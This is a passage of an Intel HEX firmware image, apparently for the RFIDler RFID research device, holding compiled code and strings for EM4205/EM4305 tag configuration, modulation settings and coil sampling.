400db\n:10016c00251805000800e003000000002a780001b3\n:10017c0021400801214829011c00401521482f016c\n:10018c00257828011400e01100000000080020155b\n:10019c00000000000300001500000000adff00107f\n:1001ac0000000a242548000100000824e0ff4a252d\n:1001bc0020702e71a7ffc0110000000023504e01cb\n:1001cc0022380e000638e8000440c8010448c90172\n:1001dc00a0ff001025482701ff0701243300a111bf\n:1001ec0000000000ddff0010000000002578280151\n:1001fc002e00e015000000000500a0150000000016\n:10020c0040780c002578eb012800e011000000007c\n:10021c00ff0701242100a115000000002a786001cd\n:10022c0021586b0121608c011900a01521608f01f0\n:10023c0025788b011400e0110000000008008015e7\n:10024c0000000000030060150000000085ff001096\n:10025c0000000d242560600100000b24e0ffad259b\n:10026c00203086717fffc010000000002368a601bb\n:10027c00227006000670cb010458cb000460cc0041\n:10028c0078ff001025608e01b4ff001000000424dc\n:10029c0025788b010500e01500000000f07f013c83\n:1002ac002528a100adff001000000424f8ff053c38\n:1002bc00aaff001000000424f8ff401d00000000fd\n:1002cc0001000e242370ca012000c12d0700201448\n:1002dc0000000000e0ffce212b3008000d000910bb\n:1002ec0025402601f8ff0010000009340900c01158\n:1002fc000000000022380e000430e8000438e90049\n:10030c000640c8010648c9010200c0102540e8009b\n:10031c00020008350004082500040f2d21482f0188\n:0c032c0083ff0010c25709000000000011\n:020000040000fa\n:020000041d05d8\n:10033800e8ffbd271400bfaf1000beaf21f0a00337\n:100348001800c4af1800c48f3bff400f0000000026\n:1003580021e8c0031400bf8f1000be8f1800bd270e\n:100368000800e00300000000c0ffbd273c00bfaf4d\n:100378003800beaf21f0a0034000c4af4400c5afb1\n:100388004000c48f4400c58f8fdb400f0000000081\n:1003980007004010000000004000c48f4000c58fd7\n:1003a8000f41410f00000000ef40410b000000002a\n:1003b8002110000021e8c0033c00bf8f3800be8f29\n:1003c8004000bd270800e00300000000e8ffbd274b\n:1003d8001400bfaf1000beaf21f0a0031800c4afd7\n:1003e8001c00c5af1800c48f1c00c58f3c41410fcd\n:1003f8000000000008004010000000001800c48f32\n:100408001800c58f4000062463b9400f00000000a3\n:100418000941410b000000002110000021e8c00341\n:100428001400bf8f1000be8f1800bd270800e0031e\n:1004380000000000d8ffbd272400bfaf2000beafda\n:1004480021f0a0032800c4af2c00c5af1400c227b8\n:10045800212040002c00c58f02000624494a410f84\n:10046800000000002c00c28f040042241400c3279f\n:100478000200632421206000212840000600062491\n:10048800494a410f000000001400c2272120400003\n:10049800a9b7400f000000001000c2af1000c38fc2\n:1004a8001400023c003e4234211062001000c2af2a\n:1004b8002800c48f1000c58facb6400f00000000a4\n:1004c8002800c28f08004224000040a00100022436\n:1004d80021e8c0032400bf8f2000be8f2800bd275d\n:1004e8000800e00300000000a0ffbd275c00bfafcc\n:1004f8005800beaf5400b0af21f0a0036000c4aff5\n:100508006400c5af6400c48fa34a410f0000000017\n:100518000900422c040040140000000021100000d3\n:100528009041410b000000001400c2272120400028\n:1005380030000524080006246551410f0000000022\n:100548006400c48fa34a410f000000000800032480\n:10055800231062001400c327218062006400c48f46\n:10056800a34a410f00000000212000026400c58f4b\n:1005780021304000494a410f000000001400c22702\n:1005880021204000a9b7400f000000001000c2afb2\n:100598001000c38febff023c00c2423421106200fe\n:1005a8001000c2af4400c2272120400030000524bb\n:1005b8000a0006246551410f000000004400c227cc\n:1005c80002004224212040001000c58facb6400f25\n:1005d800000000004400c3274400c2270200422450\n:1005e800212060002128400002000624494a410fca\n:1005f80000000000300002244600c2a3300002249c\n:100608004700c2a34e00c0a31c00c3274400c22752\n:100618002120600021284000e7b8400f00000000ba\n:100628001c00c2276000c48f21284000a7dc400faf\n:10063800000000000100022421e8c0035c00bf8f15\n:100648005800be8f5400b08f6000bd270800e0033b\n:1006580000000000f8ffbd270400beaf21f0a00392\n:10066800211080000c00c5af0800c2a30800c39386\n:1006780080bf023c205c43ac0000000080bf023c0d\n:10068800105c428c01004230fcff4010000000006a\n:1006980080bf023c205c428cff0043300c00c28fbc\n:1006a800000043a021e8c0030400be8f0800bd2756\n:1006b8000800e00300000000f8ffbd270400beaffb\n:1006c80021f0a0030800c4af0c00c5af80bf023cf6\n:1006d8000800c38f205c43ac0000000080bf023cd0\n:1006e800105c428c01004230fcff4010000000000a\n:1006f80080bf023c205c438c0c00c28f000043acde\n:1007080021e8c0030400be8f0800bd270800e003ed\n:1007180000000000e0ffbd271c00bfaf1800beafff\n:1007280021f0a003211880002110a0002800c6afe6\n:100738002c00c7af2000c3a32400c2a304000424d4\n:100748000010023c2001453410000624f34b410ff1\n:10075800000000002000c293212040003400c58f13\n:100768009741410f000000001000c0afea41410b63\n:10077800000000002c00c38f1000c28f21106200ff\n:1007880000004290212040003400c58f9741410f5e\n:10079800000000001000c28f010042241000c2af08\n:1007a8001000c38f2800c28f2b106200f1ff401485\n:1007b800000000001000c0affc41410b0000000029\n:1007c8003400c38f1000c28f211062002120000066\n:1007d800212840009741410f000000001000c28fff\n:1007e800010042241000c2af1000c38f3000c28f36\n:1007f8002b106200f2ff40140000000004000424e3\n:100808000c51410f000000002110000021e8c00336\n:100818001c00bf8f1800be8f2000bd270800e00312\n:1008280000000000e0ffbd271c00bfaf1800beafee\n:1008380021f0a0032000c4af2110a0002800c6affb\n:100848002c00c7af2400c2a3040004240010023cfb\n:100858002005453410000624f34b410f000000002a\n:100868002000c48f3400c58fb041410f0000000044\n:100878001000c0af2d42410b000000001000c28fd5\n:10088800801002002c00c38f211062000000428cef\n:10089800212040003400c58fb041410f0000000006\n:1008a8001000c28f010042241000c2af1000c38f95\n:1008b8002800c28f2b106200f0ff401400000000d7\n:1008c8001000c0af4042410b000000001000c28f72\n:1008d800801002003400c38f211062002120000024\n:1008e80021284000b041410f000000001000c28fd5\n:1008f800010042241000c2af1000c38f3000c28f25\n:100908002b106200f1ff40140000000004000424d2\n:100918000c51410f000000002110000021e8c00325\n:100928001c00bf8f1800be8f2000bd270800e00301\n:1009380000000000e0ffbd271c00bfaf1800beafdd\n:1009480021f0a003212000001000c2272128400028\n:100958009741410f0000000021e8c0031c00bf8f31\n:100968001800be8f2000bd270800e003000000002b\n:020000040000fa\n:020000041d05d8\n:100978004e6f2044656c61790000000042502f34ae\n:10098800202852462f3136290000000042502f38c7\n:10099800202852462f382900496e76616c69640018\n:1009a80032313070460000003235307046000000a9\n:1009b80033333070460000003031303130000000f1\n:1009c800464646464646464600000000303031302e\n:1009d8003100000030313030310000002573000054\n:1009e800202020202020202020496e666f20426c85\n:1009f8006f636b202830293a20000000252e3873b9\n:100a08000d0a0d0a000000002020202020202020b0\n:100a18002020437573746f6d657220436f64653a67\n:100a2800203078253033780d0a000000202020205f\n:100a3800202020202020202020204361706163692d\n:100a4800746f723a202564203d20000025730d0a3a\n:100a5800000000002020202020202020202020200e\n:100a680020204368697020547970653a20256420f5\n:100a78003d200000454d343230350d0a000000009d\n:100a8800454d343330350d0a00000000496e76615b\n:100a98006c69640d0a00000025730d0a0d0a000038\n:100aa8004e6f742070726573656e74000d0a202095\n:100ab800202020202020202050574420426c6f63a3\n:100ac8006b202832293a2025730d0a0d0a000000f0\n:100ad8005772697465204f6e6c79000020202020c1\n:100ae800202020436f6e66696720426c6f636b201d\n:100af8002834293a20252e38730d0a0d0a000000e3\n:100b0800547275650000000046616c736500000052\n:100b180020202020202020202020202050696765c8\n:100b28006f6e204d6f64653a2025730d0a00000032\n:100b380020202020202020202020202020202020ad\n:100b4800202020205254463a2025730d0a00000028\n:100b5800202020202020202020202020202020208d\n:100b680044697361626c653a2025730d0a000000c0\n:100b78002020202020202020202020205772697447\n:100b880065204c6f67696e3a2025730d0a000000d6\n:100b98002020202020202020202020202052656195\n:100ba80064204c6f67696e3a2025730d0a000000b7\n:100bb800202020202020202020202020202020202d\n:100bc800202020204c57523a2025640d0a000000ae\n:100bd8002020202020202020202020202044656c58\n:100be80061796564204f6e3a202564203d2000001d\n:100bf80020202020202020202020202020202020ed\n:100c0800456e636f6465723a202564203d200000bc\n:100c18004d616e636865737465720000426950685f\n:100c28006173650020202020202020202020202003\n:100c380020204461746120526174653a2025642043\n:100c48003d20000052462f25640d0a003030303216\n:100c5800303035460000000030303031383035460d\n:100c680000000000303030323130384600000000db\n:100c7800303030303030303000000000303030312b\n:040c88003100000037\n:020000040000fa\n:020000041d05d8\n:100c8c00e8ffbd271400bfaf1000beaf21f0a003da\n:100c9c001800c4af1800c48f3bff400f00000000c9\n:100cac0021e8c0031400bf8f1000be8f1800bd27b1\n:100cbc000800e00300000000e8ffbd271400bfaff0\n:100ccc001000beaf21f0a0031800c4af1c00c5afcc\n:100cdc001800c48f1c00c58f5b43410f000000003f\n:100cec0021e8c0031400bf8f1000be8f1800bd2771\n:100cfc000800e00300000000e8ffbd271400bfafb0\n:100d0c001000beaf21f0a0031800c4af1c00c5af8b\n:100d1c001800c48f1c00c58f8543410f00000000d4\n:100d2c0008004010000000001800c48f1800c58f88\n:100d3c004000062463b9400f000000005543410bee\n:100d4c00000000002110000021e8c0031400bf8f38\n:100d5c001000be8f1800bd270800e0030000000043\n:100d6c00a8ffbd275400bfaf5000beaf21f0a003b9\n:100d7c005800c4af5c00c5af1000c2272120400052\n:100d8c005c00c58ffddb400f000000001700401019\n:100d9c00000000001000c22721204000280005247c\n:100dac00abbc400f000000005800c48f1000c227dd\n:100dbc00212840002800062463b9400f00000000e1\n:100dcc005800c48f0a000524d7bc400f0000000057\n:100ddc005800c48f0a000524abbc400f0000000073\n:100dec00010002247f43410b000000002110000091\n:100dfc0021e8c0035400bf8f5000be8f5800bd27a0\n:100e0c000800e00300000000a8ffbd275400bfaf9e\n:100e1c005000beaf4c00b0af21f0a0035800c4afdf\n:100e2c005c00c5af5c00c48fa34a410f00000000fa\n:100e3c000b00422c040040140000000021100000a4\n:100e4c00c543410b000000001000c22721204000c8\n:100e5c00300005240a0006246551410f00000000f3\n:100e6c005c00c48fa34a410f000000000a00032459\n:100e7c00231062001000c327218062005c00c48f25\n:100e8c00a34a410f00000000212000025c00c58f26\n:100e9c0021304000494a410f000000001000c227d9\n:100eac00212040000a000524abbc400f00000000cc\n:100ebc001000c227212040000a000524d7bc400f97\n:100ecc00000000001c00c227212040001000c22797\n:100edc0021284000e7b8400f000000001c00c2278a\n:100eec002120400028000524abbc400f000000006e\n:100efc001c00c2275800c48f21284000a7dc400fdb\n:100f0c00000000000100022421e8c0035400bf8f40\n:100f1c005000be8f4c00b08f5800bd270800e00376\n:100f2c0000000000e0ffbd271c00bfaf1800beafe3\n:100f3c0021f0a0032000c4af2400c5af2800c6af29\n:100f4c001400c0af2400c28f1000c2af6944410b23\n:100f5c000000000000a0023cdc56422487004290b6\n:100f6c00f9ff42240c00432c8200601000000000aa\n:100f7c0080180200059d023c980f4224211062004b\n:100f8c000000428c08004000000000002010059d6d\n:100f9c007810059d8011059dd010059d8011059d33\n:100fac008011059d8011059d8011059d8011059d69\n:100fbc002811059d8011059dc80f059d00a0023cc0\n:100fcc00dc564224b800428c821802001400c28ff6\n:100fdc00180062002000c28f12200000211844006b\n:100fec001000c28fff0042302120600021284000f9\n:100ffc00bfde400f000000000400401400000000a1\n:10100c00211000006f44410b000000006344410bb1\n:10101c000000000000a0023cdc564224b800428cc8\n:10102c00821802001400c28f180062002000c28fc8\n:10103c0012200000211844001000c28fff00423023\n:10104c0021206000212840008bab400f00000000e5\n:10105c000400401400000000211000006f44410bfc\n:10106c00000000006344410b0000000000a0023ca3\n:10107c00dc564224b800428c821802001400c28f45\n:10108c00180062002000c28f1220000021184400ba\n:10109c001000c28fff004230212060002128400048\n:1010ac00dfb0400f000000000400401400000000fe\n:1010bc00211000006f44410b000000006344410b01\n:1010cc000000000000a0023cdc564224b800428c18\n:1010dc00821802001400c28f180062002000c28f18\n:1010ec0012200000211844001000c28fff00423073\n:1010fc0021206000212840002dcf400f000000006f\n:10110c000400401400000000211000006f44410b4b\n:10111c00000000006344410b0000000000a0023cf2\n:10112c00dc564224b800428c821802001400c28f94\n:10113c00180062002000c28f122000002118440009\n:10114c001000c28fff004230212060002128400097\n:10115c00cce2400f0000000004004014000000002e\n:10116c00211000006f44410b000000006344410b50\n:10117c0000000000211000006f44410b0000000033\n:10118c001000c28f010042241000c2af1400c28fa5\n:10119c00010042241400c2af1000c38f2800c28f7c\n:1011ac002b1043006bff40100000000001000224d4\n:1011bc0021e8c0031c00bf8f1800be8f2000bd2784\n:0811cc000800e0030000000030\n:020000040000fa\n:020000041d05d8\n:1011d4000080013c2628a100c24d0400ff002931f3\n:1011e400c25d0500ff006b310080073c0042040033\n:1011f400254007010052050025504701ffff2d251a\n:10120400fe00a12d6100201000000000ffff6d25ed\n:10121400fe00a12d770020100000000023602b01a8\n:101224000d00800500000000200081290300201427\n:10123400000000001500001002000a2425300a00f6\n:1012440006508a0104688a011000a61100000000fb\n:101254000e00001002004a3525480b0023600c00e4\n:101264002000812903002014000000000700001062\n:10127400020008242530080006408801046888011b\n:101284000200a61100000000020008352460870057\n:10129400266885011000a0050000000021400a0115\n:1012a4002b680a011700a0110000000001000d3195\n:1012b4000200a011000000000200083542400800ae\n:1012c40001002925ff0001240e0021150000000063\n:1012d4000c000010000008242b680a010400a0116f\n:1012e40023400a0123400800030000102660870100\n:1012f4005000001100000000203006712348260130\n:101304000440c8000e0020190000000080000825d9\n:1013140080000d2d21482d01026a08000100ad3125\n:1013240023400d014040080042420800c06d0900fe\n:1013340025400d0125100c010800e0030000000009\n:10134400010006242330c9002000c12c39002010dc\n:10135400000000000080013c2540010120000d2414\n:101364002368a6010448a801020020110640c80011\n:10137400010008350000092480000d25e3ffa105c4\n:1013840000000000e1ff0010010009240e002015f8\n:1013940000000000214008010500001100000000c9\n:1013a40020600c7123482c0198ff00100440880130\n:1013b400ff0001240f006111000000000080013cc7\n:1013c4001800a11400000000216808011b00a015ea\n:1013d40000000000ff00012414006115000000005b\n:1013e400266885001500a005000000000d0000100f\n:1013f40000000000080060150000000021504a01b0\n:101404000a0040110000000020604c7123586c0158\n:1014140082ff001004508a0121684a010700a015c8\n:1014240000000000c4ff001025100500c2ff0010da\n:1014340025100400c0ff001000000224beff0010ad\n:08144400c0ff023c00000000a3\n:020000040000fa\n:020000041d05d8\n:10144c0090ffbd276c00bfaf6800beaf21f0a003ba\n:10145c007000c4af1000c0af01d5400f00000000f9\n:10146c000f004014000000007000c28f04004010f8\n:10147c000000000021100000a945410b00000000f5\n:10148c00059d023ce44b4424059d023ce84b45245d\n:10149c002013410f000000003445410b00000000f8\n:1014ac003445410b000000004715410f00000000bf\n:1014bc00040040100000000021100000a945410b61\n:1014cc000000000001d5400f00000000f6ff4010a6\n:1014dc00000000007000c28f0900401400000000e2\n:1014ec00059d023ce44b4424059d023cf84b4524ed\n:1014fc002013410f000000004f45410b000000007d\n:10150c004f45410b000000004715410f0000000043\n:10151c0004004014000000007000c28f0400401052\n:10152c000000000021100000a945410b0000000044\n:10153c00801b400f00000000f3ff40100000000073\n:10154c007000c28f150040140000000017d5400f2a\n:10155c0000000000059d033c084c64242128400039\n:10156c008513410f000000000ed5400f0000000055\n:10157c00059d033c304c6424212840008513410f09\n:10158c0000000000059d023ce44b4424059d023cf8\n:10159c00444c45242013410f000000003f0002245e\n:1015ac001400c2a31400c3932800c227059d043c59\n:1015bc00584c84242128600021304000345e400fb8\n:1015cc000000000033004014000000000100022461\n:1015dc001000c2af7000c28f03004010000000006a\n:1015ec00a845410b000000001800c2272120400034\n:1015fc00212800000d0006246551410f0000000059\n:10160c001800c3272800c227212060002128400091\n:10161c000c000624494a410f000000001800c227a4\n:10162c00059d033c5c4c6424212840002013410f91\n:10163c00000000003500c293100042300900401039\n:10164c0000000000059d023c604c4424059d023cba\n:10165c00684c45242013410f00000000a245410bab\n:10166c00000000003800c28f059d033c704c6424c0\n:10167c00212840008513410f000000002800c227dc\n:10168c0021204000755f400f00000000cfff40108c\n:10169c00000000001000c28f21e8c0036c00bf8f57\n:1016ac006800be8f7000bd270800e003000000003a\n:020000040000fa\n:020000041d05d8\n:1016bc0000800b3cc2450400ff000831c2550500f8\n:1016cc00ff004a31003a04002538eb00004a0500bf\n:1016dc0025482b012670850024586e01ffff0e252e\n:1016ec00fe00c12d3f00201000000000ffff4e2522\n:1016fc00fe00c12d53002010000000002b08e90053\n:10170c0003002014000000004238070001000825e7\n:10171c0082630900f40180011b00ec001220000020\n:10172c0010300000ff3f2d311900a40112280000d9\n:10173c00803306002b70c5000400c0112330c50097\n:10174c00ffff84242130c9002b70c900f4018001f3\n:10175c001b00cc0012380000103000001900a7014b\n:10176c0012280000803306002b70c5000400c01145\n:10177c002330c500ffffe7242130c9002b70c900be\n:10178c00807304002138ee000200c01000390700fd\n:10179c000100e7347e000e242370ca0121400e01a3\n:1017ac00ffff0e25fe00c12d3400201000000000ac\n:1017bc008000e7248000ee2c21400e01027207000d\n:1017cc000100ce312338ee0040380700423a0700c2\n:1017dc00c07508002538ee002510eb000800e0036a\n:1017ec000000000008000015000000002138e70090\n:1017fc000500e010000000002060ec7023400c019c\n:10180c00baff0010043887010400481500000000de\n:10181c00217029012f00c01100000000ff000124dd\n:10182c00080041110000000012000011000000002f\n:10183c002170e7002700c0150000000022000010f6\n:10184c00000000000800401500000000214829019c\n:10185c001d0020110000000020602c7123504c0151\n:10186c00a6ff001004488901217029011900c01538\n:10187c0000000000d9ff001025100b001200001d05\n:10188c000000000001000c24236088012000812d41\n:10189c00f8ff20100000000020000e242370cc0163\n:1018ac000440c70102000011063887010200e7342a\n:1018bc00000008248000ee24bdffc10500000000dc\n:1018cc00bbff001001000824807f013cc3ff001007\n:1018dc0025106101c1ff0010c0ff023c0000000098\n:020000040000fa\n:020000041d05d8\n:1018ec00524649446c65725f53616d706c65730050\n:1018fc004465736372697074696f6e005246494433\n:10190c006c657220416e616c6f67756520436f6901\n:10191c006c2053616d706c6573000000546167003e\n:10192c005461672053657474696e6773000000001e\n:10193c005461675f54797065000000005461672042\n:10194c00547970650000000044617461000000006f\n:10195c004d6f64756c6174696f6e00004d6f6475ca\n:10196c006c6174696f6e20536368656d650000006f\n:10197c00446174615f52617465000000446174617c\n:10198c00205261746520284672616d6520436c6f2e\n:10199c00636b73290000000025640000506f7473a2\n:1019ac0000000000506f74656e74696f6d6574652e\n:1019bc00722053657474696e67732028446563697b\n:1019cc006d616c2900000000506f745f4869676896\n:1019dc0000000000506f74656e74696f6d657465fe\n:1019ec007220486967682053657474696e670000db\n:1019fc00506f745f4c6f7700506f74656e74696fc5\n:101a0c006d65746572204c6f772053657474696ec4\n:101a1c006700000053616d706c65730054696d65ef\n:101a2c002042617365642053616d706c6520417256\n:101a3c007261797300000000436f696c5f446174dc\n:101a4c0061000000416e616c6f67756520436972bf\n:101a5c006375697420526177204461746120284851\n:101a6c00455829005265616465725f4f75747075d5\n:101a7c0074000000416e616c6f677565204369727c\n:101a8c0063756974204469676974616c205265617f\n:101a9c00646572204f7574707574202848494748e6\n:101aac002f4c4f57290000004269745f50657269d2\n:101abc006f6400004d6f64756c6174696f6e2053b8\n:101acc006368656d652042697420506572696f6446\n:101adc0020285449434b5329000000002573000073\n:101aec000d0a000025643a200000000025640d0a50\n:101afc00000000000050c3470000803f20bcbe4cdb\n:081b0c0000007a440076134842\n:020000040000fa\n:020000041d05d8\n:101b1400d8ffbd272400bfaf2000b3af1c00b2af75\n:101b24001800b1af1400b0af4500800421808000dc\n:101b34006e0082280f0040100b0082286f004010b6\n:101b44006666023c80800400059d023c805342246a\n:101b5400218002020000028e2400bf8f2000b38f78\n:101b64001c00b28f1800b18f1400b08f0800e0037e\n:101b74002800bd27eb51033c1f8563341800830004\n:101b840010180000c39704006666133c676673264a\n:101b9400059d113c805331264c00248e43190300cb\n:101ba4002318720080100300001903002110430061\n:101bb4008018020021104300231002022014027c2a\n:101bc4001800530010180000c31702008318030004\n:101bd400231062002014027c0900422480100200b9\n:101be40021105100d147410f0000458c1800130209\n:101bf4001098000021204000839813002390720263\n:101c040040101200c0901200219052002380120252\n:101c14002084107c8080100021881102d147410f5c\n:101c24000000258e2400bf8f2000b38f1c00b28fcc\n:101c34001800b18f1400b08f0800e0032800bd27fe\n:101c4400238004002084107c6e00022a21004010ae\n:101c54000b00022a30004054808010006666023c6b\n:101c6400676642241800020210100000c327100007\n:101c7400059d033cb45363248310020023104400e5\n:101c840040280200c02002002120a4002014027c6d\n:101c940023800402090042242084107c8010020066\n:101ca4008080100021104300211803020000448c9e\n:101cb400d147410f0000658c2400bf8f2000b38ff3\n:101cc4001c00b28f1800b18f1400b08f0800e0031d\n:101cd4002800bd27eb51033c1f8563341800030221\n:101ce40010180000c39710006666133c67667326dd\n:101cf400059d113ce746410bb453312667664224e7\n:101d04001800820010100000c3270400059d033c46\n:101d14001f47410b80536324059d023cb453422466\n:0c1d240021800202d746410b0000028e15\n:020000040000fa\n:020000041d05d8\n:101d300025188500450060102110000001000224d4\n:101d400044008210c23f0500ffff0224620082109f\n:101d50000a00022464008210f6ff02245700821059\n:101d6000ffff02240800e010401905003f0080102a\n:101d70000080023c232004002b10040023280500cf\n:101d80002328a20040190500c21604002510620095\n:101d9000c21e0500251043003800401480190500bc\n:101da0008216040025106200821e050025184300db\n:101db000510060141a000224c21f040040280500cc\n:101dc000252865004020040080310500821e0400a3\n:101dd0002518c3008236050025186600f6ff60103e\n:101de000ffff42247f0043244900605882ff032400\n:101df000070082300a004010ff006228c000857c86\n:101e00000300842421208500c21604000400401031\n:101e1000ff0062284220040001006324ff006228c2\n:101e200037004010c2200400c005827c02004050f0\n:101e30002118000000b0847c001207002510620009\n:101e4000c01502000800e003251044000800e0036c\n:101e500000000000bdffa054ffff02240012070095\n:101e60007f0042340800e003c0150200c2ffa21444\n:101e700023200400212000000080053c1a000224d9\n:101e8000c0370500421804002518c3000100843043\n:101e9000422805002520830040310500c21e0400b1\n:101ea0002518c300c236050025186600f4ff60142b\n:101eb000010042247a47410b7f004324a9ffa2146a\n:101ec0000012070082004234c01502002000033ccb\n:101ed0000800e003251043009effa4540a000224da\n:101ee0009847410b001207009cffa054f6ff022404\n:101ef000b147410b001207007c47410b99000324b6\n:101f000000120700ff0042340800e003c015020081\n:101f1000231862001b0065280800a0502120000043\n:101f20009e00422404104400062064002b1002008e\n:101f3000252044007c47410b010003248e47410bc0\n:041f40002118000064\n:020000040000fa\n:020000041d05d8\n:101f4400c23d0400ff00e730c24d0500ff00293107\n:101f540000800a3c003204002530ca00004205001b\n:101f640025400a012660850024504c01ffffec2423\n:101f7400fe00812d2100201000000000ffff2c2511\n:101f8400fe00812d36002010000000001900c8005a\n:101f94001258000002006011103000000100c63425\n:101fa4000300c0040000000040300600ffffe724e7\n:101fb40082ff2c252138ec00ffffec24fe00812d4c\n:101fc4003a002010000000008000c6248000cc2cc1\n:101fd4002138ec000262060001008c312330cc0071\n:101fe4004030060042320600c06507002530cc00b0\n:101ff4002510ca000800e003000000000d00e014f2\n:10200400000000002130c6000500c01000000000e0\n:102014002058cb702338eb00d8ff00100430660141\n:10202400ff0001241f002111000000001500001012\n:10203400000000002160c6001a00801500000000a6\n:102044000400201500000000216008011500801123\n:1020540000000000ff0001240f0021150000000013\n:102064000a002015000000002140080105000011ad\n:102074000000000020580b7123482b01c3ff0010ff\n:1020840004406801dbff001025100a0021600801ec\n:102094000400801500000000807f013cd5ff001083\n:1020a40025104101d3ff0010c0ff023cfaffe01ce1\n:1020b4000000000001000b24235867012000612d5b\n:1020c400f0ff20100000000020000c2423608b018e\n:1020d400043886010200e010063066010200c634ae\n:1020e400000007248000cc24b7ff81050000000015\n:0c20f400b5ff00100100072400000000f0\n:020000040000fa\n:020000041d05d8\n:10210000e0ffbd271c00bfaf1800beaf21f0a00349\n:102110002000c4af2400c5af2800c6af1000c0a384\n:102120001100c0a3a148410b0000000000a0023c28\n:10213000dc56422487004290f9ff42240c00432cd5\n:10214000460060100000000080180200059d023c5f\n:1021500064214224211062000000428c08004000eb\n:1021600000000000bc21059de021059d5c22059d2d\n:102170000422059d5c22059d5c22059d5c22059d37\n:102180005c22059d5c22059d3022059d5c22059dfb\n:102190009421059d2000c28fff0042302120400085\n:1021a0002400c58f2800c68f87de400f0000000086\n:1021b0001000c2a39848410b000000002000c28f0d\n:1021c000ff004230212040002400c58fbdab400fee\n:1021d000000000001000c2a39848410b000000005e\n:1021e0002000c28fff004230212040002400c58f14\n:1021f0003eb1400f000000001000c2a39848410b00\n:10220000000000002000c28fff004230212040006b\n:102210002400c58f213000002800c78f90cf400fc9\n:10222000000000001000c2a39848410b000000000d\n:102230002000c28fff004230212040002400c58fc3\n:10224000213000002800c78f31e3400f000000005c\n:102250001000c2a39848410b0000000000000000dd\n:102260001000c2930400401000000000010002248e\n:10227000a648410b000000001100c2930100422457\n:102280001100c2a31100c2930500422ca7ff401405\n:10229000000000002110000021e8c0031c00bf8fd7\n:1022a0001800be8f2000bd270800e00300000000da\n:020000040000fa\n:020000041d05d8\n:1022b000e0ffbd271c00bfaf1800b2af1400b1afe4\n:1022c0001000b0af0055a77cffffe2240098a87c67\n:1022d000fe07492c2188c000c2870500211080001c\n:1022e000410020112118000101fce7241000043cea\n:1022f000251804012138f100422f0200c018030004\n:10230000ff03e4242518a30025008018c010020054\n:10231000070045301500a014c000457c403703007d\n:10232000c2100200ff0785282510c2003600a01049\n:10233000c21803000005657c0200a05021200000a7\n:102340000098637cc08210002520900000250400c6\n:10235000251883001c00bf8f1800b28f1400b18fa6\n:102360001000b08f0800e0032000bd270300a52463\n:10237000212845002b10a200211843000006667c8e\n:10238000e6ffc0102110a000c02f03004210020081\n:102390002510a20042180300c748410b0100842405\n:1023a00002fc06242330c7003800c4281b008050dc\n:1023b0002110000023200600200085300300a01417\n:1023c00004888200042083002588820021204000a8\n:1023d000a956410f212860002b88110025102202e8\n:1023e000c448410b010004240500e0542110800082\n:1023f000253004010c00c0140000000021108000f2\n:10240000d548410b2118a000c01a1000ff07633403\n:10241000001d0300d548410b2110000021180000c9\n:10242000d148410b212000000300001520901271bb\n:102430002090927020005226f5ff4626adffc01076\n:1024400002fc0724b956410f212800010dfc072486\n:08245000bd48410b2338f200e6\n:020000040000fa\n:020000041d05d8\n:10245800e0ffbd271c00bfaf1800b2af1400b1af3a\n:102468001000b0af6e00822c2f0040102180800039\n:102478000b00822c0e004010059d023c8080040059\n:10248800b4534224218002020000048e059d023cc0\n:10249800d147410fe040458c1c00bf8f1800b28f18\n:1024a8001400b18f1000b08f0800e0032000bd2792\n:1024b800cccc113ccdcc31361900910010880000ed\n:1024c800059d123cb4535226059d023ce040458cc4\n:1024d800c288110009002226801002002110520033\n:1024e800d147410f0000448c40181100c0881100ea\n:1024f8002188710023801102ff00103280801000b3\n:10250800219012020000458ed147410f2120400042\n:102518001c00bf8f1800b28f1400b18f1000b08f4d\n:102528000800e0032000bd27eb51123c1f855236fe\n:102538001900920010900000059d113cb4533126fb\n:10254800059d023ce040458c429112001200422653\n:102558008010020021105100d147410f0000448c27\n:102568008018120000911200219072008018120049\n:102578002118430223180302cccc123ccdcc52368e\n:10258800ff0063301900720010180000212040007d\n:10259800c218030009006324801803002118710081\n:1025a800d147410f0000658c1900120210900000fd\n:1025b80021204000c290120040101200c09012006a\n:1025c8002190520023801202ff00103280801000f8\n:1025d80021881102d147410f0000258e1c00bf8fb2\n:1025e8001800b28f1400b18f1000b08f0800e003fc\n:0425f8002000bd27db\n:020000040000fa\n:020000041d05d8\n:1025fc0025408500030008310300001121108000e4\n:10260c00380000100000aa900000aa8c0101093cbf\n:10261c0001012935c07909002340490124400f01eb\n:10262c000700001124600a01050088110000000059\n:10263c000000a5240000aa902a00001000008424a9\n:10264c000400ab8c00008aac2340690124400f01cc\n:10265c000700001124600b01050088110000000028\n:10266c000400a5240000aa901e000010040084247d\n:10267c000800aa8c04008bac2340490124400f01b4\n:10268c000700001124600a010500881100000000f9\n:10269c000800a5240000aa90120000100800842451\n:1026ac000c00ab8c08008aac2340690124400f015c\n:1026bc000700001124600b010500881100000000c8\n:1026cc000c00a5240000aa90060000100c00842425\n:1026dc001000aa8c0c008bac10008424ceff0010d0\n:1026ec001000a5240300401500008aa00800e00398\n:1026fc00000000000100ab900300601501008ba0ee\n:10270c000800e003000000000200aa90030040153e\n:10271c0002008aa00800e003000000000300ab9058\n:10272c000300601503008ba00800e003000000000c\n:10273c000400aa900300401504008aa00800e003de\n:10274c00000000000500ab900300601505008ba095\n:10275c000800e003000000000600aa9003004015ea\n:10276c0006008aa00800e003000000000700ab9000\n:10277c000300601507008ba00800e00300000000b8\n:10278c000800aa9008008424d6ff00100800a52495\n:020000040000fa\n:020000041d05d8\n:10279c00d0ffbd272c00bfaf2800b4af2400b3afcf\n:1027ac002000b2af1c00b1af1800b0af2188800080\n:1027bc000c008294010042304a004010040080acae\n:1027cc0000a0143c74718282140040501000268ebc\n:1027dc0000a0103cf46f102600a0133c94707326dc\n:1027ec00ff49410b020112240b001352747180a299\n:1027fc000c00029602014230fbff525414001026ca\n:10280c005d52410f2120000214001026f9ff1356cf\n:10281c000c000296747180a21000268e1600c01057\n:10282c000e002496fd4a410f0800258e2f00401003\n:10283c00040022aeffff0324340043500c00229608\n:10284c000800238effff4224040022ae0100622404\n:10285c00000022ae000062902c00bf8f2800b48fc5\n:10286c002400b38f2000b28f1c00b18f1800b08fe2\n:10287c000800e0033000bd27040020ae1000a5279f\n:10288c00fd4a410f01000624010003240c004310f3\n:10289c00ffff02240c002396100063340c0023a6c7\n:1028ac002c00bf8f2800b48f2400b38f2000b28f70\n:1028bc001c00b18f1800b08f0800e0033000bd275a\n:1028cc001000a2932c00bf8f2800b48f2400b38f6c\n:1028dc002000b28f1c00b18f1800b08f0800e003ed\n:1028ec003000bd27194a410bffff02240c00229631\n:1028fc001000